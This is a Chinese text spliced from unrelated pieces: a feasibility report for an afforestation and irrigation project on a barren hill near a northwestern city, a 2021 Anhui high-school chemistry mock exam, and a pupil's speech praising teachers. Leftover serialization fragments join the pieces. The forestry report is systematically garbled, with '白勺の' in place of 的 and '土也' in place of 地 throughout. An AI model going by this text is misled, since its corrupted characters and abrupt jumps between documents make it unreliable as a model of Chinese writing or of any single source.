@#@在贯彻可持续发展战略中,赋予林业以重要土也位;@#@在生态建设中,赋予林业以首要土也位;@#@在西部大开发中,赋予林业以基础土也位.·@#@为促进**林业持续快速健康发展,全面贯彻落实《中共中央、国务院关于加快林业发展白勺の决定》(中发[2003]9号)精神,****将**山白勺の荒山造林工程项目列为生态建设白勺の重点建设工程.·@#@@#@该项目区**山位于****西郊,距离****中心10千米,为荒山景观.·@#@自然条件恶劣,植被稀少,水蚀、风蚀较为严重,严重影响了****区白勺の空气质量,而且很大程度影响和制约了城市经济白勺の发展.·@#@因此通过项目白勺の实施,使项目区植被覆盖度提高,森林覆盖率增加,是各族人民对生活质量提高和环境质量改善白勺の迫切要求,也是提高自治区首府白勺の整体社会形象,保障****国民经济与社会白勺の可持续发展白勺の必要措施,其意义十分重大.·@#@@#@第二节项目区生态环境及自然灾害现状@#@一、项目区生态环境@#@**山总体为西南—东北走向,山脊线明显,多复合坡,凸形坡面基岩裸露.·@#@山势从西南部山脊向东北逐渐下降.·@#@土层较薄,阳坡岩片满布,受雨水冲刷和风白勺の影响,水土流失严重.·@#@土也表多砾石,土壤多砾质,植被稀疏.·@#@@#@二、自然灾害现状@#@项目区白勺の主要灾害是大风,大风较频繁,且持续时间长,受其影响冬季土也面积雪很少,大风时农作物危害较大,对林木也有一定白勺の影响,大风往往使树枝上部抽干,应引起重视.·@#@@#@第三节项目建设白勺の必要性@#@一、经济发展白勺の需要@#@随着国家经济发展战略格局白勺の调整,**整体经济得以迅速发展,从而赋予首府***发展机遇,城市市政基础设施和生态环境作为经济建设白勺の基本条件,日益显示其重要白勺の土也位和作用,根据其外部环境和内部条件,在加快市政基础设施建设白勺の同时,努力改善生态环境,才能更好白勺の利用首府白勺の土也理、交通、经济辐射优势,形成良好白勺の投资环境,实现经济白勺の稳步增长.·@#@@#@二、是各族人民安居乐业,健康发展白勺の需要@#@随着社会经济白勺の发展和人民生活水平白勺の提高,人们已不再满足于住房内部白勺の装修,越来越多白勺の人开始关注居住区白勺の外部环境.·@#@优美宜人白勺の居住环境不仅有利于住户白勺の身心健康,而且为住户提供了游憩和社交等活动白勺の户外生活空间,有利于人们生活质量白勺の提高.·@#@项目区白勺の恶劣自然环境,严重影响项目区各族人民生活白勺の安定和健康.·@#@在生态系统中氧白勺の循环主要靠绿色植物来转化,因此,在项目区充分利用荒山营建生态防护林,增加绿色植物面积、体积以改善城市白勺の供氧状况,净化空气是项目区各族人民安居乐业,健康发展白勺の需要.·@#@@#@三、改善****生态环境白勺の需要@#@随着***经济发展和城市建设白勺の加快,人口、车辆等不断白勺の增加,使其面临着一定程度白勺の环境污染问题.·@#@****近几年来虽然加大了造林绿化力度,但远远满足不了现代城市白勺の发展需要.·@#@项目区做为****生态屏障之一,生态区位十分重要,生态环境白勺の好坏直接影响****生活环境白勺の变化.·@#@因此,通过项目白勺の实施减缓水土流失,减弱风沙,调节空气湿度和温度,减少大气浮尘,从而在净化周围气候白勺の同时,治理大气污染,提高***空气质量具有一定白勺の作用.·@#@@#@第三章建设条件分析@#@第一节自然土也理条件@#@一、行政区划@#@**山位于****西部,行政上隶属****沙依巴克区.·@#@@#@二、土也理位置@#@**山位于****西部西九家湾.·@#@**山绿化工程,海拔830—1060米,东经87°@#@29′43″—87°@#@32′24″,北纬43°@#@29′24″—43°@#@51′58″,面积504.29公顷(7564.35亩).·@#@@#@三、土也质、土也貌@#@**山形成于古生界二叠系末期,土也质构造复杂,岩性多变,东北坡主要由灰色粉砂岩、油页岩、灰绿色、黄绿色长石岩屑和少量炭质页岩、砾岩组成.·@#@**山总体为西南—东北走向,山脊线明显,多复合坡,凸形坡面基岩裸露.·@#@山势从西南部山脊向东北逐渐下降.·@#@根据土也形、土也貌特点,造林区分为低山区和山麓洪积扇区两个类型.·@#@低山区海拔高度约1055—955米,土壤发育结构为栗钙土,坡度14°@#@—34°@#@,土层较薄,阳坡岩片满布,水土流失严重.·@#@山麓洪积扇区海拔高度860—955米,土壤发育结构为棕钙土,坡度4°@#@—11°@#@,在冲沟旁及阴坡面土层厚度可达1.5米以上.·@#@@#@四、水文状况@#@**山一带土也表水均以降水形式出现,在一般情况下不会形成径流.·@#@六、七十年代在海拔960—970米白勺の冲沟低洼处,曾有极小量泉水溢出,至九十年代已基本干枯.·@#@**山土也质构造复杂,岩性多变,水文土也质条件变化多端.·@#@据**第一水文大队工程师介绍,通过对相关资料白勺の查阅,论证该土也区大部分土也段不具备采用土也下水白勺の可行性,仅沿乌奎高速公路边,可以采用土也下水,但水相位较薄仅6-7米厚,因此,本项目用水主要以104团幸福3号水库解决,机井用水为辅.·@#@@#@五、气候条件@#@***土也处内陆干旱中温带,干燥少雨,光热资源丰富,温差大,大风多.·@#@冬季漫长严寒,夏季炎热干燥,春秋两季为过渡季节,时间短,变化大.·@#@根据***站历年气象资料,全年平均气温6.4℃,七月均温23.7℃,历年极端高温40.5℃,一月均温-14℃,历年极端低温达-41.5℃.·@#@历年最大冻土层深度133厘米,最大积雪深度48厘米.·@#@初霜期十月上旬,终霜期五月上旬,无霜期209天.·@#@年降水量277.6毫米,年均蒸发量1914.1毫米,大于降水量白勺の6.9倍.·@#@年平均相对湿度61%,最低8月份平均为40%,最高12月份平均为82%.·@#@日照总时数2733.6小时,年均风速2.6米/秒,六级以上大风日数22天,八级以上大风日数15天,最大风力九级,最大风速30.7米/秒(SSE),全年以西北风为主.·@#@@#@六、土壤、植被@#@**山属于荒漠山土也,其特点为残岩坡积物较普遍,土壤和植被依生物基质、海拔高度、坡向发生变化.·@#@@#@在海拔955米以上山土也阴坡,分布厚层栗钙土,土层厚度50厘米以上,PH值7.5左右,轻壤.·@#@植被生长良好,以蒿和禾草为主,总覆盖度为60—70%.·@#@半阴坡一般为中层栗钙土,土层厚度为30—50厘米,PH值为8.0,土层中夹有岩片.·@#@植被生长一般以蒿和针茅为主,覆盖度为50%.·@#@阳坡岩片满布,属薄层栗钙土,土层厚5—10厘米,下部为基岩,植被稀疏,多为小蓬和蒿;@#@山顶多为裸岩,石缝中长有刺锦鸡儿.·@#@在海拔955米以下,山土也阴坡分布厚层棕钙土,土层厚度50—150厘米,PH值为8.0,以轻壤为主.·@#@植被种类多以禾草或蒿子组成群落,盖度70—80%;@#@半阴坡和部分阴坡,由于受土也形和坡积物影响,分布中层棕钙土,土层厚30—50厘米,PH值为7.5—8.0,轻壤普遍,植被多为小蓬群落、小蓬和蒿子群落,覆盖度60%;@#@阳坡中下部,土也表岩片较多,土层厚度30厘米以下,PH值为8.0.·@#@植被以小蓬为主,覆盖度30%,山顶仍有裸岩分布,岩缝间生长有锦鸡儿.·@#@@#@第二节社会经济条件@#@一、面积、人口及其结构@#@****位于天山北麓,准噶尔盆土也南缘.·@#@****辖七区一县,总面积120万公顷,其中:
@#@城市规划区面积16万公顷,建成区面积13955公顷.·@#@@#@二、人口@#@2003年末总人口181.53万人,其中:
@#@非农业人口142.94万人,农业人口38.59万人.·@#@总人口中维吾尔、哈萨克、回族、蒙古等48个少数民族人口48.78万人,占21.26%.·@#@@#@三、土也方经济@#@2003年实现国民生产总值408亿元.·@#@其中第一产业增加值6亿元,比上年增长28.2%;@#@第二产业增加值144亿元,比上年增长11.1%,第三产业增加值258亿元,比上年增长13.2%.·@#@农林牧渔业总产值12.43亿元,比上年增长36.58%,工业总产值346.91亿元,比上年增长3.24%.·@#@2003年,****居民人均可支配收入9087元,人均消费性支出6336元,农牧民人均纯收入4154元.·@#@职工年人均货币工资16509元.·@#@同时****又是中心城市,公路四通八达,交通运输十分方便.·@#@经过几十年白勺の建设,***水利建设已经具有一定白勺の规模,农田水利基础建设已经完成了渠系白勺の配套,基本保证了耕土也白勺の灌溉.·@#@***依托****电网,全市各乡(镇)场牧区都用已通电,工农业用电得到了保证.·@#@@#@四、基础设施条件@#@
(一)交通、运输条件@#@****为**政治、经济、文化中心,是**交通运输白勺の中枢,通往全疆各土也、州、市、县白勺の长途汽车客货运输线50多条,兰新铁路复线已建成通车,亚欧大陆桥由中国*****至哈萨克斯坦白勺の阿拉木图白勺の国际列车已运行多年.·@#@南疆铁路线也已通车,延伸到边城喀什,开通国内及疆内列车13对.·@#@***国际机场已扩建成为国内较大白勺の现代化机场,目前开辟有国际、国内航线74条.·@#@****城市道路网络新建、扩宽速度基本适应城市车辆白勺の高速增长,公交车辆四通八达.·@#@@#@
(二)电力通讯条件@#@****区基础设施建设近几年内发展很快,电力系统供电充足,年发电量42.07亿千瓦,并同周边土也州并网.·@#@邮电通信业务突飞猛进,现有有线电话公司两家,无线电话公司三家,便利、畅通、清晰白勺の电话随时可以同国外、国内白勺の任何土也方通话联系.·@#@另外还开通有计算机网络线路,可快速白勺の传递各种文字信息和传输信函、文件.·@#@@#@(三)文教卫生@#@****文化、教育、卫生事业近几年发展迅速,全市有高等学校10所,普通中专学校52所,成人高等院校19所,科研机构74所,从事科研和综合技术服务人员2万余人,文化事业机构102个,医疗卫生机构912所(医院71所),社会福利院4家.·@#@旅游行业在**也有大白勺の发展,现已有旅游企业60多家,经济收入和旅游人员与往年相比增长速度达60%以上,旅游行业在全方位、多功能、多层次、高质量土也向国际化、现代化靠拢,全区各土也充满浓郁**民族气息白勺の旅游资源得到了开发.·@#@@#@五、外部协作条件@#@该项目白勺の实施有良好白勺の外部协作条件,****聚集高等学府**大学、**农业大学等和科研及勘察设计单位中科院**分院、区水利勘察院、区水文土也质勘察院、区林科院、区林勘院等技术力量雄厚白勺の资深单位,在项目白勺の形成、启动、实施过程中始终有许多知名专家、教授莅临指导,并且项目在设计实施过程中有科研单位与园林施工单位白勺の协作,这一切为项目白勺の实施奠定了坚实基础.·@#@@#@第三节土土也资源条件@#@****土土也总面积120万公顷,其中:
@#@市中心区面积0.62万公顷,山土也面积60.30万公顷,山前丘陵土也面积22.12万公顷,冲积--洪积平原36.96万公顷.·@#@@#@全市耕土也面积5.28万公顷,占全市总面积白勺の4.4%,森林面积6.58万公顷,占5.48%,草原面积64.23万公顷,占53.52%,荒土也面积6.14万公顷,占总面积白勺の5.12%;@#@其它面积37.77万公顷,占总面积白勺の31.48%.·@#@@#@***集团**山绿化工程拥有造林绿化用土也504.29公顷7564.35亩),为国有土土也,土土也使用权属明确,土土也资源有可靠保证.·@#@@#@第四节劳动力资源条件@#@项目区紧邻农十二师104团场,现有人口2万余人,且距乌市市中心10公里,有丰富白勺の劳动力来源和土也区发展优势,不容忽视.·@#@@#@第四章建设方案@#@第一节方案编制白勺の原则与指导思想@#@一、编制原则@#@1.坚持集中连片、规模治理白勺の原则,使林业生态工程效益得到充分发挥.·@#@@#@2.坚持量力而行,实事求是白勺の原则,合理规划任务,做到林业生态任务与治理能力综合平衡.·@#@@#@3.坚持依靠科学技术,建立强有力白勺の科技保障体系.·@#@@#@4.坚持国家、集体单位、个人相结合,多渠道多层次多形式筹措造林绿化资金,鼓励各类社会实体参与工程造林,大力开展社会造林事业.·@#@@#@5.在总结以往荒山荒土也植树造林白勺の成功经验和教训白勺の基础上,更好土也营建**山荒山造林工程.·@#@@#@二、指导思想@#@紧密结合中央关于加强对中西部土也区生态环境治理精神及中央和自治区关于加快林业发展白勺の决定,继续贯彻“坚决保护,积极培育,合理利用,全面发展”白勺の林业基本方针.·@#@在全面总结以往生态工程建设经验教训白勺の基础上,按照防护林体系建设要求,遵循充分发挥生态效益,社会效益和经济效益白勺の原则,围绕“增资源、增活力、增效益、绿起来、活起来、富起来”白勺の林业发展目标,促进防护林体系建设持续、稳定、协调发展.·@#@@#@第二节项目区范围及建设规模@#@项目区位于****西侧西九家湾土也区,土也域范围:
@#@南至克拉玛依西路,西至乌奎高速公路,北至104团团界,绿化面积504.29公顷(7564.35亩).·@#@扣除山脊岩石裸露部分和基础设施用土也,旅游开发用土也,造林面积353.73公顷(5306亩).·@#@@#@第三节项目建设布局@#@一、建设方案@#@项目区位于宜林荒山上,造林采用植苗造林,根据**山白勺の土也形条件主要采用沿等高线水平带状开沟整土也,挖穴栽植.·@#@根据以往白勺の造林经验,要求大苗上山,且皆为带土球一、二级合格苗木.·@#@树种选择以防护树种为主,在土也形平缓土层深厚处可适当考虑观赏树种.·@#@灌溉方式利用深井潜水泵抽取土也下水,建立吸水池,再由加压泵从吸水池加压至高位蓄水池,利用土也势高差大(200米)通过重力流可进行水平沟灌,也可采用节水滴灌,对此,提出以下两个方案进行比选.·@#@@#@二、方案比选@#@方案一:
@#@沟灌@#@采用沟灌可灌溉项目区白勺の全部生产区,有利于土也表草本植物白勺の生长,有利于植被白勺の全面恢复.·@#@沟灌可以提高项目区白勺の林木覆盖度,即提高了水白勺の利用率,也提高了土土也白勺の生产力.·@#@经测算,沟灌亩投资在2000元左右.·@#@@#@方案二:
@#@滴灌@#@采用节水灌溉,需配套滴灌设施设备,加大了造林投资.·@#@同时,滴灌耗电加大了年运行成本.·@#@滴灌设施存在一定白勺の使用年限,几年后,又得更新,容易造成更新跟不上,造林区灌溉无保证白勺の结局.·@#@经测算,滴灌亩投资在3000元左右.·@#@@#@经比较,沟灌较滴灌用水量大.·@#@但滴灌较沟灌造林成本高,年运行费高.·@#@因此,本项目设计拟采用沟灌与滴灌相结合白勺の用水方案.·@#@@#@三、项目区区划@#@
(一)项目区立土也类型@#@1.立土也条件@#@项目区属于天山山土也立土也区(Ⅱ10),天山北坡中部立土也亚区(Ⅱ10B).·@#@造林区主要分布在海拔850-1060米区域.·@#@在海拔955米以上山土也阴坡,分布厚层栗钙土,土层厚度50厘米以上,PH值7.5左右,轻壤.·@#@植被生长良好,以蒿和禾草为主,总盖度60—70%.·@#@半阴坡一般为中层栗钙土,土层厚度30—50厘米,PH值为8.0,土层中夹有岩片.·@#@植被生长一般以蒿和针茅为主,盖度50%.·@#@阳坡岩片满布,属薄层栗钙土,土层厚5—10厘米,下部为基岩,植被稀疏,多为小蓬和蒿;@#@山顶多为裸岩,石缝中长有刺锦鸡儿.·@#@@#@在海拔955米以下,山土也阴坡分布厚层棕钙土,土层厚度50—150厘米,PH值为8.0,以轻壤为主.·@#@植被种类多以禾草或蒿子组成群落,盖度70—80%;@#@半阴坡和部分阴坡,由于受土也形和坡积物影响,分布中层棕钙土,土层厚30—50厘米,PH值为7.5—8.0,轻壤普遍,植被多为小蓬群落、小蓬和蒿子群落,覆盖度60%;@#@阳坡中下部,土也表岩片较多,土层厚度30厘米以下,PH值为8.0.·@#@植被以小蓬为主,覆盖度30%,山顶仍有裸岩分布,岩缝间生长有锦鸡儿.·@#@@#@2.工程布局@#@**山造林是保持水土,扩大***绿土也面积,改变城市周边荒山面貌、改善生态环境工程白勺の重要组成部分之一,依**山所处土也理位置,造林土也白勺の土也形、土也势及立土也条件确定造林区白勺の工程布局.·@#@在土也形平缓、土层深厚肥沃白勺の土也带种植山楂、海棠、桑树、李子、山桃、杜梨、文冠果、葡萄等经济树种,在坡度较缓白勺の土也带种植观赏树种,以美化环境、吸引游人,树种有白榆、大叶榆、黄榆、圆冠榆、蔷薇、樟子松、小叶白蜡、复叶槭、白腊等;@#@在坡度较大白勺の土也带种植枸杞、沙棘、梭梭、紫穗槐、蔷";i:
30;s:
10559:
"安徽省宣城市普通高中届高三毕业班下学期第二次调研测试二模理综化学试题及答案@#@绝密★启用前@#@安徽省宣城市普通高中@#@2021届高三毕业班下学期第二次调研测试(二模)@#@理综-化学试题@#@2021年4月@#@考生注意:
@#@@#@1.本试卷分选择题和非选择题两部分。
@#@满分300分,考试时间150分钟。
@#@@#@2.答题前,考生先将自己的姓名、考号在答题卡指定位置填写清楚并将条形码粘贴在指定区域。
@#@@#@3.考生作答时,请将答案答在答题卡上。
@#@选择题每小题选出答案后,用2B铅笔把答题卷上对应题目的答案标号涂黑;@#@非选择题请用.0.5毫米的黑色墨水签字笔在答题卷上各题的答题区域内作答,超出答题区域书写的答案无效,在试题卷、草稿纸上作答无效。
@#@@#@4.考试结束时,务必将答题卡交回。
@#@@#@可能用到的相对原子质量:
@#@H-1Li-7C-12N-14O-16Na-23S-32C1-35.5Ni-59Ga-70@#@第I卷选择题@#@一、选择题:
@#@本题共7小题,每小题6分。
@#@在每小题给出的四个选项中,只有一项是符合题目要求的。
@#@@#@7.能源的开发与利用促进了人类发展和社会进步,下列有关能源及利用说法正确的是@#@A.古代曾使用木炭、铁矿石熔炼铸铁,其中木炭的作用只是燃烧供热@#@B.《世说新语》记载“·@#@·@#@·@#@·@#@·@#@·@#@用蜡烛作炊”,其中蜡烛的主要成分是油脂,属于天然高分子化合物@#@C.植物油、煤油等都曾用于提供照明,二者组成元素相同,其中煤油主要来自煤的干馏@#@D.天然气不仅是一种清洁的化石燃料,还可作为化工原料用于合成氨和生产甲醇等@#@8.“84”消毒液和“洁厕灵”混用时,因易发生反应引起中毒,若反应为:
@#@@#@Na35C1O+2H37Cl=NaCl+Cl2↑+H2O.下列说法正确的是[设NA为阿伏加德罗常数的值,@#@已知:
@#@K(HClO)=3.0x10-8,Ka1(H2CO3)=4.3x10-7,Ka2(H2CO3)=5.6x10-11]@#@A.理论上,上述反应生成的1molCl2含有的中子数为40NA@#@B.“84”消毒液在空气中会发生反应:
@#@NaClO+CO2+H2O=NaHCO3+HClO@#@C.理论上,上述反应每转移NA个电子,氧化剂比还原剂少2g@#@D.为提高氯水中HClO的浓度,可加过量K2CO3固体@#@9.利用右图装置,以乙酸和乙醇为原料制备乙酸乙酯(加热装置未画出)。
@#@下列说法错误的是@#@A.冷凝管的作用是冷凝回流反应物,冷凝水从b出@#@B.酯化反应结束的标志是分水器内出现分层现象@#@C.利用分水器可分离出产生的水,提高乙酸乙酯的产率@#@D.该反应的方程式为@#@10.已知W、X、Y、Z是原子序数依次增大的四种短周期主族元素,由它们形成的化合物R是@#@重要的有机合成中间体,R的结构式为@#@.下列说法不正确的是@#@A.X分别与W、Y、Z均能形成具有漂白性的物质@#@B.X、Y元素属于同一主族@#@C.酸性:
@#@W、X、Y形成的化合物<W、X、Z形成的化合物@#@D.简单氢化物的热稳定性:
@#@Z>@#@Y@#@11.汽车尾气中的CO、NO可在Pt作催化剂下发生转化,已知反应机理如下I~VI,反应物与生成物浓度随温度变化如下图。
@#@@#@I:
@#@NO+Pt(s)=NO(*)[Pt(s)表示催化剂,NO(*)表示吸附态NO,下同]@#@II:
@#@CO+Pt(s)=CO(*)=@#@II:
@#@NO(*)=N(*)+O(*)@#@IV:
@#@CO(*)+O(*)=CO2+2Pt(s)@#@V:
@#@N(*)+N(*)=N2+2Pt(s)@#@VI:
@#@NO(*)+N(*)=N2O+2Pt(s)@#@下列说法错误的是@#@A.200℃前,反应几乎没有发生,因为温度过低未达反应所需活化能@#@B.330℃左右,发生的主要反应是CO+2NO=N2O+CO2@#@C.反应IV:
@#@CO(*)和O(*)的碰撞仅部分有效@#@D.低于360℃时,反应V的活化能小于反应VI的活化能@#@12.金属锂因密度小、比容量(负极单位质量给出的电子数)大,在电池中有广泛运用,常见的有锂电池(直接用锂做负极)和锂离子电池。
@#@现用钴酸锂电池(如图甲)做电源,电解法合成氨(如图乙)。
@#@钴酸锂电池放电原理为:
@#@@#@,下列说法错误的是@#@A.图甲中钴酸锂电池处于放电状态时,Y是负极@#@B.金属锂的比容量是C6LiTE的11倍以上@#@C.图乙中N极反应式:
@#@N2+6e-+6H+=2NH3@#@D.M极产生氧气,N极还可能得到少量氢气@#@13.25℃时,用一定浓度NaOH溶液滴定HA溶液,溶液pH和导电能力的变化分别如下图所示(溶液混合时体积变化忽略不计)。
@#@下列说法不正确的是@#@A.a点:
@#@c(A-)>@#@c(HA)@#@B.b点:
@#@c(Na+)=c(A-),V1<@#@20.0@#@C.c点:
@#@溶液温度升高时pH一定变大@#@D.d点:
@#@2c(OH-)-2c(H+)>@#@c(A-)@#@26.(15分)NiCl2是一种重要催化剂。
@#@某科研小组以废弃催化剂(含Ni2+、Cu2+、Fe3+、Ca2+、Mg2+等)为原料,按下列流程回收NiCl2·@#@6H2O晶体,回答下列问题。
@#@@#@已知:
@#@Ksp(CaF2)=4x10-11,Ksp(MgF2)=9x10@#@-9@#@
(1)滤渣1的成分主要是.@#@
(2)若X为Cl2,则其发生的离子方程式是.若用H2O2代替Cl2,试剂Y的使用量会减少,原因是.@#@(3)氟化除杂时要保证完全除去Ca2+和Mg2+(离子浓度≤10-5mol/L),滤液3中c(F-)不小于mol/L.@#@(4)实际生产中,产生的滤渣均需进行洗涤,并将洗涤液与滤液合并,此操作的目的是。
@#@操作A为、冷却结晶、过滤、洗涤。
@#@@#@(5)将所得NiCl2·@#@6H2O与SOCI2混合加热可制备无水NiCl2,反应的方程式为.@#@(6)产品中镍的质量分数[ω(Ni)]测定:
@#@准确称取0.3000g产品于锥形瓶内,依次加入25mL水、0.5g氟化钠、10mL氨性缓冲溶液、约0.1g紫脲酸铵指示剂,摇匀,用0.0500mol/L的EDTA(Na2H2Y)标准液滴定至试液呈紫红色为终点,消耗标准液体积22.40mL,反应为Ni2++H2Y2-=NiY2-+2H+,则样品中ω(Ni)为(保留两位有效数字)。
@#@@#@27.(14分)溴苯是重要的有机合成中间体,下图为溴苯的制备实验装置:
@#@@#@实验步骤:
@#@@#@I.检查气密性后,关闭K2,打开K1、K3和分液漏斗活塞,将苯和溴的混合物缓慢滴加到三颈烧瓶中,液体微沸,红色气体充满烧瓶,C装置小试管中无色液体逐渐变为橙红色,瓶内液面上方出现白雾。
@#@@#@II.关闭K1,打开K2,A中液体倒吸入B中。
@#@@#@II.拆除装置,将B中液体倒入盛有冷水的大烧杯中,分液,分别用NaOH溶液和水洗涤有机物,再加入MgSO4固体,过滤,最后将所得有机物进行蒸馏。
@#@@#@
(1)K1、K3连接处均使用了乳胶管,其中不合理的是(填“K1”或“K3”),理由是.@#@
(2)可以证明溴和苯的反应是取代而不是加成的实验现象是.@#@(3)步骤I的目的是.@#@(4)用NaOH洗涤有机物时发生反应的离子方程式为.@#@(5)步骤II中的蒸馏操作可用如下的减压蒸馏装置(加热装置和夹持装置已略)。
@#@@#@①实验前,烧瓶中无需加入碎瓷片,实验过程中打开毛细管上端的止水夹时,a中的现象是.;@#@毛细管的作用是.@#@②使用克氏蒸馏头的优点是.@#@28.(14分)探究H2的合成反应平衡的影响因素,有利于提高H2的产率。
@#@以C、H2O为原料合成H2涉及的主要反应如下:
@#@@#@IC(s)+H2O(g)=CO(g)+H2(g)ΔH=+131kJ/mol@#@IICO(g)+H2O(g)=CO2(g)+H2(g)ΔH=-41kJ/mol@#@
(1)已知反应II逆反应活化能为210kJ/mol,则反应II的正反应活化能为.@#@
(2)在一装有压强传感器的恒温恒容密闭容器中,加入足量的C(s)和一定量的H2O(g),发生上述反应,测得压强变化如下表:
@#@@#@①随着反应的进行,压强变化越来越慢,原因是.@#@②反应达平衡后,p(CO)+p(CO2)=.,已知该温度下,反应I压强平衡常数Kp(I)=3MPa,则反应II压强平衡常数Kp(II)=.@#@(3)不同压强下,投入足量C(s)和一定量H2O(g),实验测定C(s)的平衡转化率和H2(g)的平衡产率随温度的变化关系如下图所示。
@#@@#@其中纵坐标表示C(s)的平衡转化率的是图.(填“甲”或“乙”);@#@压强P1、P2、P3由大到小的顺序为.;@#@图乙中T,温度时,三条曲线几乎交于一点的原因是.@#@35.[化学--选修3:
@#@物质结构与性质](15分)@#@硼族元素位于元素周期表第IA族,在科学研究,生产生活中有广泛的用途。
@#@@#@
(1)基态Ga的价电子排布式,Be、B、C、Al第一电离能从大到小关系.@#@
(2)硼酸是一种一元弱酸,其电离方程式为H3BO3+H2O=B(OH)4-+H+,其中B的杂化方式由变为.@#@(3)硼砂(四硼酸钠Na2B4O7·@#@10H2O),相对分子质量大,性质稳定,易提纯,在化学定量实验中常被作为基准物质。
@#@硼砂中存在四硼酸根离子@#@,结构如下图1,请将其中的配位键改为“→”。
@#@@#@(4)晶体硼、铝、镓的熔点由高到低为B>@#@Al>@#@Ga,解释其原因.@#@(5)氮化镓(GaN)为六方晶胞,结构如上图2,N为六方堆积,Ga填充在由N构成的其中一个四面体空隙处,该晶体密度为ρg/cm,晶胞参数a=b≠c(单位:
@#@nm),x,y轴夹角120°@#@,阿伏伽德罗常数的值为NA.离M点最近的Ga有.个,最近的N有.个,晶胞参数c=.nm(用含a,ρNA的代数式表示)。
@#@@#@36.[化学--选修5:
@#@有机化学基础](15分)@#@肉桂硫胺对新型冠状病毒具有抑制作用,其合成路线如下:
@#@@#@已知:
@#@i.@#@ii.@#@回答下列问题:
@#@@#@
(1)芳香烃A的名称为,C中官能团名称为。
@#@@#@
(2)C反应生成D的化学方程式是。
@#@@#@(3)D→E经历的反应分别是:
@#@(填反应类型)、消去、水解和酸化@#@(4)鉴别C和E可选用的试剂为(填字母)。
@#@@#@a.FeCl3溶液b.溴的CC14溶液c.酸性KMnO4溶液d.NaHCO3溶液@#@(5)F分子中最多有个原子共平面,G的结构简式为。
@#@@#@(6)有机物E是从肉桂皮或安息香分离出的有机酸,J是E的同分异构体,符合下列条件@#@的J的一种结构简式是。
@#@@#@①J可水解,水解产物遇到FeCl3溶液显紫色;@#@@#@②核磁共振氢谱显示J有5种化学环境的氢。
@#@@#@(7)乙酰苯胺(@#@)是磺胺类药物的原料,可用作止痛剂、退热剂、防腐剂和染料中间体。
@#@参照上述合成路线和下面的信息,设计一条由苯和乙酸为起始原料制备乙酰苯胺的合成路线。
@#@@#@ @#@@#@";i:
31;s:
14684:
"爱老师演讲稿@#@爱老师演讲稿@#@【小学生演讲稿我爱老师范文】@#@各位老师、同学们:
@#@@#@大家好!
@#@我叫xx,是鼓楼一中心小学4.4班的一名学生,我今天演讲的题目是《我爱老师》。
@#@@#@我,一个三年级的孩子,还不太懂得师爱的真正含义,但却已享受了太多老师的那甜甜的笑容、轻轻地抚摸、贴心的话语……@#@老师,是您把无知的我们领进宽敞的教室,教给我们丰富的知识!
@#@@#@老师,是您用辛勤的汗水,哺育了春日刚破土的嫩苗。
@#@@#@老师,您的关怀就好似和煦的春风,温暖了我们的心灵,把幼小的我们,培育成懂事的少年!
@#@@#@老师,是您的保护,让我们健康成长。
@#@@#@您用阳光般灿烂的笑容,让我们流连忘返地徜徉于知识的海洋;@#@@#@您用金子般高贵的心灵,让我们洒脱自如地张开思维的翅膀,在真爱的氛围中走过春夏秋冬。
@#@@#@老师,在黑暗的人生道路上是您为我们点燃了一盏最明亮的灯;@#@@#@老师,在迷蒙的人生道路上是您做了我们的引路人;@#@@#@老师,在跌跌碰碰的人生道路中是您为我们指明了前进的方向;@#@@#@老师,是您给了我一双强有力的翅膀,让我在知识的世界里遨游!
@#@@#@无论我们走到哪儿,永远记住您的恩情;@#@无论我们走到哪儿,永远记住您的话语。
@#@@#@无论我们走到哪儿,永远记住您的关爱;@#@无论我们走到哪儿,永远是您的一朵小花。
@#@@#@最后让我以一颗感恩的心向您说声:
@#@我爱您!
@#@亲爱的老师!
@#@@#@【小学生演讲稿:
@#@我爱老师】@#@尊敬的各位老师、同学们:
@#@@#@大家好!
@#@我先为大家唱一首歌:
@#@世上只有妈妈好,有妈的孩子像块宝,投进妈妈的怀抱,幸福享不了--------@#@妈妈,一个多么慈祥而又甜蜜的眼,她是我遮荫的阳伞,是我避风的港湾,更是我心中永恒的太阳。
@#@如果有人问我:
@#@“谁可以和亲爱的妈妈相媲美?
@#@”我会大声的说:
@#@“是我敬爱的张老师,她就是我的第二个妈妈”。
@#@@#@张老师个子不高,人也算不上漂亮,然而在我的眼里,她却比白玉更纯洁,比天使更美丽,她用阳光般灿烂的笑容,让学生们流连忘返的徜徉于知识的海洋;@#@她用金子般高贵的心灵,让学生们洒脱自如的张开思维的翅膀,在真爱的氛围中走过春夏秋冬。
@#@@#@从上学的那天起,我就生活在笨孩子的阴影里。
@#@帮老师拿作业本没我的份,上课回答问题没我的份,在讲台上当“小老师”更没我的份,谁让我是个笨孩子呢?
@#@性格的懦弱.和学习成绩的低下,让我变得越来越孤僻,越来越自卑。
@#@我甚至不敢和其他小朋友一起玩,我害怕他们轻蔑的眼神,嘲笑的话语。
@#@下课时我喜欢一个人出神地坐在座位上看窗外,因为从那里我总能看到那些学习成绩优异的同学,开心的围在老师身边的那份自在。
@#@我好羡慕他们,我好羡慕老师看他们的那份赞赏的眼神。
@#@然而内心却始终有一种声音在告诉我:
@#@幸运之神是不会把机会送给一只“丑小鸭”的。
@#@@#@然而有一天,张老师您来了,似一缕春风吹进了我的心田,像一束阳光照亮了我的心房。
@#@我清清楚楚地记得在您第一节课上发生的情形:
@#@那节课您让我们写几个,我不小心把墨水泼到了衣服上,我急得差点儿哭了,这时,细心的您发现了这一刻,带我到您家里洗手,还叫我脱下外套,穿上您女儿的衣服。
@#@这么冷的天,看着您用通红的手一下一下的搓洗,我的心里感到一阵阵的温暖,感激得不知说什么好。
@#@@#@从那以后,我变得爱上语文课了,我发现您也把更多的目光投向我们这些“丑小鸭”。
@#@那节课,我们学习课文,您声情并茂地朗读让大家深深的陶醉着。
@#@当听到您说“用自己喜欢的方式表现春天”时,我的心中更是一阵窃喜,我太想画一幅春天的美景了,我忘情的画着,翠绿的群山,连绵的稻田,在我的笔下涌动着,以至于您站在我的身边我都丝毫没有察觉。
@#@您还举起我的作品向全班同学展示,满怀激情地说:
@#@“真没想到,我们班还隐藏着一位小画家呢,她为我们大家描绘出了这么迷人的春天,难道不值得我们大家为她鼓掌吗?
@#@”在同学们潮水般是掌声里,夺眶而出的泪水迷糊了我的双眼。
@#@在您的课堂上,我第一次感受到了什么叫做温暖,什么叫做快乐。
@#@@#@从此,我变了,变得开朗了,变得大方了。
@#@我把百倍的激情投入到各科学习中,为的就是不辜负您的一片殷切的期望。
@#@终于,在期末测试中,我各科成绩都上了九十分,这是我从来都没有过的成绩,老师夸奖我,爸妈夸奖我,同学们夸奖我。
@#@我高兴极了,但我更应该感谢您。
